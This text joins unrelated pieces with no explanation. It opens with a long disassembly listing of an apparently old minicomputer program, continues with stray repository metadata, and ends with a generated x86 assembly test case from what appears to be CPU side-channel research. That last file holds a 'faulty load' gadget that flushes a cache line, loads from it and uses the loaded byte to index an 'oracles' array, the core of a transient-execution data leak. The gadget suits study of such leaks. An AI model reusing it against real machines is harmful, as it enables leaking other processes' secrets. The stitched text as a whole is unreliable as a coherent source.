(0x000082) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003) 0x0042 (0x000084) 0x2908- f:00024 d: 264 | OR[264] = A 0x0043 (0x000086) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x0044 (0x000088) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0045 (0x00008A) 0x1027- f:00010 d: 39 | A = 39 (0x0027) 0x0046 (0x00008C) 0x292A- f:00024 d: 298 | OR[298] = A 0x0047 (0x00008E) 0x211C- f:00020 d: 284 | A = OR[284] 0x0048 (0x000090) 0x292B- f:00024 d: 299 | OR[299] = A 0x0049 (0x000092) 0x211D- f:00020 d: 285 | A = OR[285] 0x004A (0x000094) 0x292C- f:00024 d: 300 | OR[300] = A 0x004B (0x000096) 0x211E- f:00020 d: 286 | A = OR[286] 0x004C (0x000098) 0x292D- f:00024 d: 301 | OR[301] = A 0x004D (0x00009A) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x004E (0x00009C) 0x292E- f:00024 d: 302 | OR[302] = A 0x004F (0x00009E) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0050 (0x0000A0) 0x292F- f:00024 d: 303 | OR[303] = A 0x0051 (0x0000A2) 0x112A- f:00010 d: 298 | A = 298 (0x012A) 0x0052 (0x0000A4) 0x5800- f:00054 d: 0 | B = A 0x0053 (0x0000A6) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0054 (0x0000A8) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0055 (0x0000AA) 0x1025- f:00010 d: 37 | A = 37 (0x0025) 0x0056 (0x0000AC) 0x292A- f:00024 d: 298 | OR[298] = A 0x0057 (0x0000AE) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x0058 (0x0000B0) 0x292B- f:00024 d: 299 | OR[299] = A 0x0059 (0x0000B2) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x005A (0x0000B4) 0x292C- f:00024 d: 300 | OR[300] = A 0x005B (0x0000B6) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x005C (0x0000B8) 0x292D- f:00024 d: 301 | OR[301] = A 0x005D (0x0000BA) 0x1083- f:00010 d: 131 | A = 131 (0x0083) 0x005E (0x0000BC) 0x292E- f:00024 d: 302 | OR[302] = A 0x005F (0x0000BE) 0x211C- f:00020 d: 284 | A = OR[284] 0x0060 (0x0000C0) 0x292F- f:00024 d: 303 | OR[303] = A 0x0061 (0x0000C2) 0x211D- f:00020 d: 285 | A = OR[285] 0x0062 (0x0000C4) 0x2930- f:00024 d: 304 | OR[304] = A 0x0063 (0x0000C6) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x0064 (0x0000C8) 0x2931- f:00024 d: 305 | OR[305] = A 0x0065 (0x0000CA) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0066 (0x0000CC) 0x2932- f:00024 d: 306 | OR[306] = A 0x0067 (0x0000CE) 0x112A- f:00010 d: 298 | A = 298 (0x012A) 0x0068 (0x0000D0) 0x5800- f:00054 d: 0 | B = A 0x0069 (0x0000D2) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518) 0x006B (0x0000D6) 0x7C09- f:00076 d: 9 | R = OR[9] 0x006C (0x0000D8) 0x2124- f:00020 d: 292 | A = OR[292] 0x006D (0x0000DA) 0x86B0- f:00103 d: 176 | P = P + 176 (0x011D), A # 0 0x006E (0x0000DC) 0x1025- f:00010 d: 37 | A = 37 (0x0025) 0x006F (0x0000DE) 0x292A- f:00024 d: 298 | OR[298] = A 0x0070 (0x0000E0) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0071 (0x0000E2) 0x292B- f:00024 d: 299 | OR[299] = A 0x0072 (0x0000E4) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0073 (0x0000E6) 0x292C- f:00024 d: 300 | OR[300] = A 0x0074 (0x0000E8) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0075 (0x0000EA) 0x292D- f:00024 d: 301 | OR[301] = A 0x0076 (0x0000EC) 0x1081- f:00010 d: 129 | A = 129 (0x0081) 0x0077 (0x0000EE) 0x292E- f:00024 d: 302 | OR[302] = A 0x0078 (0x0000F0) 0x211C- f:00020 d: 284 | A = OR[284] 0x0079 (0x0000F2) 0x292F- f:00024 d: 303 | OR[303] = A 0x007A (0x0000F4) 0x211D- f:00020 d: 285 | A = OR[285] 0x007B (0x0000F6) 0x2930- f:00024 d: 304 | OR[304] = A 0x007C (0x0000F8) 0x1007- f:00010 d: 7 | A = 7 (0x0007) 0x007D (0x0000FA) 0x2931- f:00024 d: 305 | OR[305] = A 0x007E (0x0000FC) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x007F (0x0000FE) 0x2932- f:00024 d: 306 | OR[306] = A 0x0080 (0x000100) 0x112A- f:00010 d: 298 | A = 298 (0x012A) 0x0081 (0x000102) 0x5800- f:00054 d: 0 | B = A 0x0082 (0x000104) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518) 0x0084 (0x000108) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0085 (0x00010A) 0x1026- f:00010 d: 38 | A = 38 (0x0026) 0x0086 (0x00010C) 0x292A- f:00024 d: 298 | OR[298] = A 0x0087 (0x00010E) 0x211C- f:00020 d: 284 | A = OR[284] 0x0088 (0x000110) 0x292B- f:00024 d: 299 | OR[299] = A 0x0089 (0x000112) 0x211D- f:00020 d: 285 | A = OR[285] 0x008A (0x000114) 0x292C- f:00024 d: 300 | OR[300] = A 0x008B (0x000116) 0x211E- f:00020 d: 286 | A = OR[286] 0x008C (0x000118) 0x292D- f:00024 d: 301 | OR[301] = A 0x008D (0x00011A) 0x1007- f:00010 d: 7 | A = 7 (0x0007) 0x008E (0x00011C) 0x292E- f:00024 d: 302 | OR[302] = A 0x008F (0x00011E) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0090 (0x000120) 0x292F- f:00024 d: 303 | OR[303] = A 0x0091 (0x000122) 0x112A- f:00010 d: 298 | A = 298 (0x012A) 0x0092 (0x000124) 0x5800- f:00054 d: 0 | B = A 0x0093 (0x000126) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0094 (0x000128) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0095 (0x00012A) 0x211E- f:00020 d: 286 | A = OR[286] 0x0096 (0x00012C) 0x1407- f:00012 d: 7 | A = A + 7 (0x0007) 0x0097 (0x00012E) 0x2908- f:00024 d: 264 | OR[264] = A 0x0098 (0x000130) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0099 (0x000132) 0x2924- f:00024 d: 292 | OR[292] = A 0x009A (0x000134) 0x211E- f:00020 d: 286 | A = OR[286] 0x009B (0x000136) 0x140C- f:00012 d: 12 | A = A + 12 (0x000C) 0x009C (0x000138) 0x2908- f:00024 d: 264 | OR[264] = A 0x009D (0x00013A) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x009E (0x00013C) 0x2929- f:00024 d: 297 | OR[297] = A 0x009F (0x00013E) 0x211E- f:00020 d: 286 | A = OR[286] 0x00A0 (0x000140) 0x1413- f:00012 d: 19 | A = A + 19 (0x0013) 0x00A1 (0x000142) 0x2908- f:00024 d: 264 | OR[264] = A 0x00A2 (0x000144) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x00A3 (0x000146) 0x2926- f:00024 d: 294 | OR[294] = A 0x00A4 (0x000148) 0x2129- f:00020 d: 297 | A = OR[297] 0x00A5 (0x00014A) 0x8402- f:00102 d: 2 | P = P + 2 (0x00A7), A = 0 0x00A6 (0x00014C) 0x706D- f:00070 d: 109 | P = P + 109 (0x0113) 0x00A7 (0x00014E) 0x2126- f:00020 d: 294 | A = OR[294] 0x00A8 (0x000150) 0x8602- f:00103 d: 2 | P = P + 2 (0x00AA), A # 0 0x00A9 (0x000152) 0x7060- f:00070 d: 96 | P = P + 96 (0x0109) 0x00AA (0x000154) 0x2126- f:00020 d: 294 | A = OR[294] 0x00AB (0x000156) 0x1407- f:00012 d: 7 | A = A + 7 (0x0007) 0x00AC (0x000158) 0x0803- f:00004 d: 3 | A = A > 3 (0x0003) 0x00AD (0x00015A) 0x2928- f:00024 d: 296 | OR[296] = A 0x00AE (0x00015C) 0x1025- f:00010 d: 37 | A = 37 (0x0025) 0x00AF (0x00015E) 0x292A- f:00024 d: 298 | OR[298] = A 0x00B0 (0x000160) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00B1 (0x000162) 0x292B- f:00024 d: 299 | OR[299] = A 0x00B2 (0x000164) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00B3 (0x000166) 0x292C- f:00024 d: 300 | OR[300] = A 0x00B4 (0x000168) 0x2120- f:00020 d: 288 | A = OR[288] 0x00B5 (0x00016A) 0x292D- f:00024 d: 301 | OR[301] = A 0x00B6 (0x00016C) 0x2121- f:00020 d: 289 | A = OR[289] 0x00B7 (0x00016E) 0x292E- f:00024 d: 302 | OR[302] = A 0x00B8 (0x000170) 0x211C- f:00020 d: 284 | A = OR[284] 0x00B9 (0x000172) 0x292F- f:00024 d: 303 | OR[303] = A 0x00BA (0x000174) 0x211D- f:00020 d: 285 | A = OR[285] 0x00BB (0x000176) 0x2930- f:00024 d: 304 | OR[304] = A 0x00BC (0x000178) 0x2128- f:00020 d: 296 | A = OR[296] 0x00BD (0x00017A) 0x2931- f:00024 d: 305 | OR[305] = A 0x00BE (0x00017C) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00BF (0x00017E) 0x2932- f:00024 d: 306 | OR[306] = A 0x00C0 (0x000180) 0x112A- f:00010 d: 298 | A = 298 (0x012A) 0x00C1 (0x000182) 0x5800- f:00054 d: 0 | B = A 0x00C2 (0x000184) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518) 0x00C4 (0x000188) 0x7C09- f:00076 d: 9 | R = OR[9] 0x00C5 (0x00018A) 0x1026- f:00010 d: 38 | A = 38 (0x0026) 0x00C6 (0x00018C) 0x292A- f:00024 d: 298 | OR[298] = A 0x00C7 (0x00018E) 0x211C- f:00020 d: 284 | A = OR[284] 0x00C8 (0x000190) 0x292B- f:00024 d: 299 | OR[299] = A 0x00C9 (0x000192) 0x211D- f:00020 d: 285 | A = OR[285] 0x00CA (0x000194) 0x292C- f:00024 d: 300 | OR[300] = A 0x00CB (0x000196) 0x211E- f:00020 d: 286 | A = OR[286] 0x00CC (0x000198) 0x292D- f:00024 d: 301 | OR[301] = A 0x00CD (0x00019A) 0x2128- f:00020 d: 296 | A = OR[296] 0x00CE (0x00019C) 0x292E- f:00024 d: 302 | OR[302] = A 0x00CF (0x00019E) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00D0 (0x0001A0) 0x292F- f:00024 d: 303 | OR[303] = A 0x00D1 (0x0001A2) 0x112A- f:00010 d: 298 | A = 298 (0x012A) 0x00D2 (0x0001A4) 0x5800- f:00054 d: 0 | B = A 0x00D3 (0x0001A6) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00D4 (0x0001A8) 0x7C09- f:00076 d: 9 | R = OR[9] 0x00D5 (0x0001AA) 0x744E- f:00072 d: 78 | R = P + 78 (0x0123) 0x00D6 (0x0001AC) 0x211E- f:00020 d: 286 | A = OR[286] 0x00D7 (0x0001AE) 0x290E- f:00024 d: 270 | OR[270] = A 0x00D8 (0x0001B0) 0x1008- f:00010 d: 8 | A = 8 (0x0008) 0x00D9 (0x0001B2) 0x290D- f:00024 d: 269 | OR[269] = A 0x00DA (0x0001B4) 0x210D- f:00020 d: 269 | A = OR[269] 0x00DB (0x0001B6) 0x8406- f:00102 d: 6 | P = P + 6 (0x00E1), A = 0 0x00DC (0x0001B8) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00DD (0x0001BA) 0x390E- f:00034 d: 270 | (OR[270]) = A 0x00DE (0x0001BC) 0x2F0D- f:00027 d: 269 | OR[269] = OR[269] - 1 0x00DF (0x0001BE) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1 0x00E0 (0x0001C0) 0x7206- f:00071 d: 6 | P = P - 6 (0x00DA) 0x00E1 (0x0001C2) 0x1027- f:00010 d: 39 | A = 39 (0x0027) 0x00E2 (0x0001C4) 0x292A- f:00024 d: 298 | OR[298] = A 0x00E3 (0x0001C6) 0x211C- f:00020 d: 284 | A = OR[284] 0x00E4 (0x0001C8) 0x292B- f:00024 d: 299 | OR[299] = A 0x00E5 (0x0001CA) 0x211D- f:00020 d: 285 | A = OR[285] 0x00E6 (0x0001CC) 0x292C- f:00024 d: 300 | OR[300] = A 0x00E7 (0x0001CE) 0x211E- f:00020 d: 286 | A = OR[286] 0x00E8 (0x0001D0) 0x292D- f:00024 d: 301 | OR[301] = A 0x00E9 (0x0001D2) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x00EA (0x0001D4) 0x292E- f:00024 d: 302 | OR[302] = A 0x00EB (0x0001D6) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00EC (0x0001D8) 0x292F- f:00024 d: 303 | OR[303] = A 0x00ED (0x0001DA) 0x112A- f:00010 d: 298 | A = 298 (0x012A) 0x00EE (0x0001DC) 0x5800- f:00054 d: 0 | B = A 0x00EF (0x0001DE) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00F0 (0x0001E0) 0x7C09- f:00076 d: 9 | R = OR[9] 0x00F1 (0x0001E2) 0x1025- f:00010 d: 37 | A = 37 (0x0025) 0x00F2 (0x0001E4) 0x292A- f:00024 d: 298 | OR[298] = A 0x00F3 (0x0001E6) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x00F4 (0x0001E8) 0x292B- f:00024 d: 299 | OR[299] = A 0x00F5 (0x0001EA) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00F6 (0x0001EC) 0x292C- f:00024 d: 300 | OR[300] = A 0x00F7 (0x0001EE) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00F8 (0x0001F0) 0x292D- f:00024 d: 301 | OR[301] = A 0x00F9 (0x0001F2) 0x1084- f:00010 d: 132 | A = 132 (0x0084) 0x00FA (0x0001F4) 0x292E- f:00024 d: 302 | OR[302] = A 0x00FB (0x0001F6) 0x211C- f:00020 d: 284 | A = OR[284] 0x00FC (0x0001F8) 0x292F- f:00024 d: 303 | OR[303] = A 0x00FD (0x0001FA) 0x211D- f:00020 d: 285 | A = OR[285] 0x00FE (0x0001FC) 0x2930- f:00024 d: 304 | OR[304] = A 0x00FF (0x0001FE) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x0100 (0x000200) 0x2931- f:00024 d: 305 | OR[305] = A 0x0101 (0x000202) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0102 (0x000204) 0x2932- f:00024 d: 306 | OR[306] = A 0x0103 (0x000206) 0x112A- f:00010 d: 298 | A = 298 (0x012A) 0x0104 (0x000208) 0x5800- f:00054 d: 0 | B = A 0x0105 (0x00020A) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518) 0x0107 (0x00020E) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0108 (0x000210) 0x700A- f:00070 d: 10 | P = P + 10 (0x0112) 0x0109 (0x000212) 0x1007- f:00010 d: 7 | A = 7 (0x0007) 0x010A (0x000214) 0x292A- f:00024 d: 298 | OR[298] = A 0x010B (0x000216) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x010C (0x000218) 0x292B- f:00024 d: 299 | OR[299] = A 0x010D (0x00021A) 0x112A- f:00010 d: 298 | A = 298 (0x012A) 0x010E (0x00021C) 0x5800- f:00054 d: 0 | B = A 0x010F (0x00021E) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518) 0x0111 (0x000222) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0112 (0x000224) 0x700A- f:00070 d: 10 | P = P + 10 (0x011C) 0x0113 (0x000226) 0x1007- f:00010 d: 7 | A = 7 (0x0007) 0x0114 (0x000228) 0x292A- f:00024 d: 298 | OR[298] = A 0x0115 (0x00022A) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x0116 (0x00022C) 0x292B- f:00024 d: 299 | OR[299] = A 0x0117 (0x00022E) 0x112A- f:00010 d: 298 | A = 298 (0x012A) 0x0118 (0x000230) 0x5800- f:00054 d: 0 | B = A 0x0119 (0x000232) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518) 0x011B (0x000236) 0x7C09- f:00076 d: 9 | R = OR[9] 0x011C (0x000238) 0x72B0- f:00071 d: 176 | P = P - 176 (0x006C) 0x011D (0x00023A) 0x102A- f:00010 d: 42 | A = 42 (0x002A) 0x011E (0x00023C) 0x292A- f:00024 d: 298 | OR[298] = A 0x011F (0x00023E) 0x112A- f:00010 d: 298 | A = 298 (0x012A) 0x0120 (0x000240) 0x5800- f:00054 d: 0 | B = A 0x0121 (0x000242) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0122 (0x000244) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0123 (0x000246) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0124 (0x000248) 0x2927- f:00024 d: 295 | OR[295] = A 0x0125 (0x00024A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0126 (0x00024C) 0x291F- f:00024 d: 287 | OR[287] = A 0x0127 (0x00024E) 0x2126- f:00020 d: 294 | A = OR[294] 0x0128 (0x000250) 0x8430- f:00102 d: 48 | P = P + 48 (0x0158), A = 0 0x0129 (0x000252) 0x2127- f:00020 d: 295 | A = OR[295] 0x012A (0x000254) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001) 0x012B (0x000256) 0x251E- f:00022 d: 286 | A = A + OR[286] 0x012C (0x000258) 0x290D- f:00024 d: 269 | OR[269] = A 0x012D (0x00025A) 0x310D- f:00030 d: 269 | A = (OR[269]) 0x012E (0x00025C) 0x290D- f:00024 d: 269 | OR[269] = A 0x012F (0x00025E) 0x2127- f:00020 d: 295 | A = OR[295] 0x0130 (0x000260) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x0131 (0x000262) 0x2908- f:00024 d: 264 | OR[264] = A 0x0132 (0x000264) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0133 (0x000266) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x0134 (0x000268) 0x8604- f:00103 d: 4 | P = P + 4 (0x0138), A # 0 0x0135 (0x00026A) 0x210D- f:00020 d: 269 | A = OR[269] 0x0136 (0x00026C) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008) 0x0137 (0x00026E) 0x290D- f:00024 d: 269 | OR[269] = A 0x0138 (0x000270) 0x210D- f:00020 d: 269 | A = OR[269] 0x0139 (0x000272) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x013A (0x000274) 0x2922- f:00024 d: 290 | OR[290] = A 0x013B (0x000276) 0x2D27- f:00026 d: 295 | OR[295] = OR[295] + 1 0x013C (0x000278) 0x2F26- f:00027 d: 294 | OR[294] = OR[294] - 1 0x013D (0x00027A) 0x2122- f:00020 d: 290 | A = OR[290] 0x013E (0x00027C) 0x1609- f:00013 d: 9 | A = A - 9 (0x0009) 0x013F (0x00027E) 0x8402- f:00102 d: 2 | P = P + 2 (0x0141), A = 0 0x0140 (0x000280) 0x7010- f:00070 d: 16 | P = P + 16 (0x0150) 0x0141 (0x000282) 0x2123- f:00020 d: 291 | A = OR[291] 0x0142 (0x000284) 0x1207- f:00011 d: 7 | A = A & 7 (0x0007) 0x0143 (0x000286) 0x2925- f:00024 d: 293 | OR[293] = A 0x0144 (0x000288) 0x2125- f:00020 d: 293 | A = OR[293] 0x0145 (0x00028A) 0x8603- f:00103 d: 3 | P = P + 3 (0x0148), A # 0 0x0146 (0x00028C) 0x1008- f:00010 d: 8 | A = 8 (0x0008) 0x0147 (0x00028E) 0x2925- f:00024 d: 293 | OR[293] = A 0x0148 (0x000290) 0x1020- f:00010 d: 32 | A = 32 (0x0020) 0x0149 (0x000292) 0x2922- f:00024 d: 290 | OR[290] = A 0x014A (0x000294) 0x2125- f:00020 d: 293 | A = OR[293] 0x014B (0x000296) 0x8404- f:00102 d: 4 | P = P + 4 (0x014F), A = 0 0x014C (0x000298) 0x7417- f:00072 d: 23 | R = P + 23 (0x0163) 0x014D (0x00029A) 0x2F25- f:00027 d: 293 | OR[293] = OR[293] - 1 0x014E (0x00029C) 0x7204- f:00071 d: 4 | P = P - 4 (0x014A) 0x014F (0x00029E) 0x7008- f:00070 d: 8 | P = P + 8 (0x0157) 0x0150 (0x0002A0) 0x2122- f:00020 d: 290 | A = OR[290] 0x0151 (0x0002A2) 0x160A- f:00013 d: 10 | A = A - 10 (0x000A) 0x0152 (0x0002A4) 0x8402- f:00102 d: 2 | P = P + 2 (0x0154), A = 0 0x0153 (0x0002A6) 0x7003- f:00070 d: 3 | P = P + 3 (0x0156) 0x0154 (0x0002A8) 0x7406- f:00072 d: 6 | R = P + 6 (0x015A) 0x0155 (0x0002AA) 0x7002- f:00070 d: 2 | P = P + 2 (0x0157) 0x0156 (0x0002AC) 0x740D- f:00072 d: 13 | R = P + 13 (0x0163) 0x0157 (0x0002AE) 0x7230- f:00071 d: 48 | P = P - 48 (0x0127) 0x0158 (0x0002B0) 0x7429- f:00072 d: 41 | R = P + 41 (0x0181) 0x0159 (0x0002B2) 0x0200- f:00001 d: 0 | EXIT 0x015A (0x0002B4) 0x100A- f:00010 d: 10 | A = 10 (0x000A) 0x015B (0x0002B6) 0x2922- f:00024 d: 290 | OR[290] = A 0x015C (0x0002B8) 0x7407- f:00072 d: 7 | R = P + 7 (0x0163) 0x015D (0x0002BA) 0x100D- f:00010 d: 13 | A = 13 (0x000D) 0x015E (0x0002BC) 0x2922- f:00024 d: 290 | OR[290] = A 0x015F (0x0002BE) 0x7404- f:00072 d: 4 | R = P + 4 (0x0163) 0x0160 (0x0002C0) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0161 (0x0002C2) 0x2923- f:00024 d: 291 | OR[291] = A 0x0162 (0x0002C4) 0x0200- f:00001 d: 0 | EXIT 0x0163 (0x0002C6) 0x2D23- f:00026 d: 291 | OR[291] = OR[291] + 1 0x0164 (0x0002C8) 0x2122- f:00020 d: 290 | A = OR[290] 0x0165 (0x0002CA) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x0166 (0x0002CC) 0x290D- f:00024 d: 269 | OR[269] = A 0x0167 (0x0002CE) 0x211F- f:00020 d: 287 | A = OR[287] 0x0168 (0x0002D0) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001) 0x0169 (0x0002D2) 0x2519- f:00022 d: 281 | A = A + OR[281] 0x016A (0x0002D4) 0x290E- f:00024 d: 270 | OR[270] = A 0x016B (0x0002D6) 0x211F- f:00020 d: 287 | A = OR[287] 0x016C (0x0002D8) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x016D (0x0002DA) 0x2908- f:00024 d: 264 | OR[264] = A 0x016E (0x0002DC) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x016F (0x0002DE) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x0170 (0x0002E0) 0x8607- f:00103 d: 7 | P = P + 7 (0x0177), A # 0 0x0171 (0x0002E2) 0x310E- f:00030 d: 270 | A = (OR[270]) 0x0172 (0x0002E4) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009) 0x0173 (0x0002E6) 0x250D- f:00022 d: 269 | A = A + OR[269] 0x0174 (0x0002E8) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009) 0x0175 (0x0002EA) 0x390E- f:00034 d: 270 | (OR[270]) = A 0x0176 (0x0002EC) 0x7006- f:00070 d: 6 | P = P + 6 (0x017C) 0x0177 (0x0002EE) 0x310E- f:00030 d: 270 | A = (OR[270]) 0x0178 (0x0002F0) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00) 0x017A (0x0002F4) 0x250D- f:00022 d: 269 | A = A + OR[269] 0x017B (0x0002F6) 0x390E- f:00034 d: 270 | (OR[270]) = A 0x017C (0x0002F8) 0x2D1F- f:00026 d: 287 | OR[287] = OR[287] + 1 0x017D (0x0002FA) 0x211F- f:00020 d: 287 | A = OR[287] 0x017E (0x0002FC) 0x271A- f:00023 d: 282 | A = A - OR[282] 0x017F (0x0002FE) 0x9402- f:00112 d: 2 | R = P + 2 (0x0181), A = 0 0x0180 (0x000300) 0x0200- f:00001 d: 0 | EXIT 0x0181 (0x000302) 0x211F- f:00020 d: 287 | A = OR[287] 0x0182 (0x000304) 0x8602- f:00103 d: 2 | P = P + 2 (0x0184), A # 0 0x0183 (0x000306) 0x0200- f:00001 d: 0 | EXIT 0x0184 (0x000308) 0x1012- f:00010 d: 18 | A = 18 (0x0012) 0x0185 (0x00030A) 0x292A- f:00024 d: 298 | OR[298] = A 0x0186 (0x00030C) 0x211B- f:00020 d: 283 | A = OR[283] 0x0187 (0x00030E) 0x292B- f:00024 d: 299 | OR[299] = A 0x0188 (0x000310) 0x2119- f:00020 d: 281 | A = OR[281] 0x0189 (0x000312) 0x292C- f:00024 d: 300 | OR[300] = A 0x018A (0x000314) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x018B (0x000316) 0x292D- f:00024 d: 301 | OR[301] = A 0x018C (0x000318) 0x211F- f:00020 d: 287 | A = OR[287] 0x018D (0x00031A) 0x292E- f:00024 d: 302 | OR[302] = A 0x018E (0x00031C) 0x112A- f:00010 d: 298 | A = 298 (0x012A) 0x018F (0x00031E) 0x5800- f:00054 d: 0 | B = A 0x0190 (0x000320) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518) 0x0192 (0x000324) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0193 (0x000326) 0x2006- f:00020 d: 6 | A = OR[6] 0x0194 (0x000328) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B) 0x0195 (0x00032A) 0x2908- f:00024 d: 264 | OR[264] = A 0x0196 (0x00032C) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0197 (0x00032E) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0198 (0x000330) 0x291F- f:00024 d: 287 | OR[287] = A 0x0199 (0x000332) 0x0200- f:00001 d: 0 | EXIT 0x019A (0x000334) 0x0000- f:00000 d: 0 | PASS 0x019B (0x000336) 0x0000- f:00000 d: 0 | PASS
79.80198
79
0.45611
f475a1af8353b39ef4487848106fa1f199318e76
4,967
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_18460_1793.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_18460_1793.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_18460_1793.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r9 push %rbp push %rbx push %rcx push %rdi lea addresses_A_ht+0x12d24, %r10 nop nop nop cmp $41083, %rbx movw $0x6162, (%r10) nop nop sub %rbp, %rbp lea addresses_D_ht+0x1d6a4, %rdi nop nop nop add $19705, %r11 movb $0x61, (%rdi) nop nop nop inc %rcx pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r8 push %r9 push %rbx push %rdi push %rdx push %rsi // Store lea addresses_D+0x1bdc0, %rsi sub $61649, %rbx movl $0x51525354, (%rsi) nop nop sub %r12, %r12 // Load lea addresses_D+0x7324, %r9 nop nop nop nop nop sub $3330, %rsi mov (%r9), %rdx and $41745, %rbx // Store lea addresses_D+0xaad0, %rdi sub $14802, %r12 movl $0x51525354, (%rdi) add %rdi, %rdi // Faulty Load lea addresses_D+0x7324, %rsi clflush (%rsi) nop add $30998, %r8 mov (%rsi), %r9d lea oracles, %rdx and $0xff, %r9 shlq $12, %r9 mov (%rdx,%r9,1), %r9 pop %rsi pop %rdx pop %rdi pop %rbx pop %r9 pop %r8 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'36': 18460} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 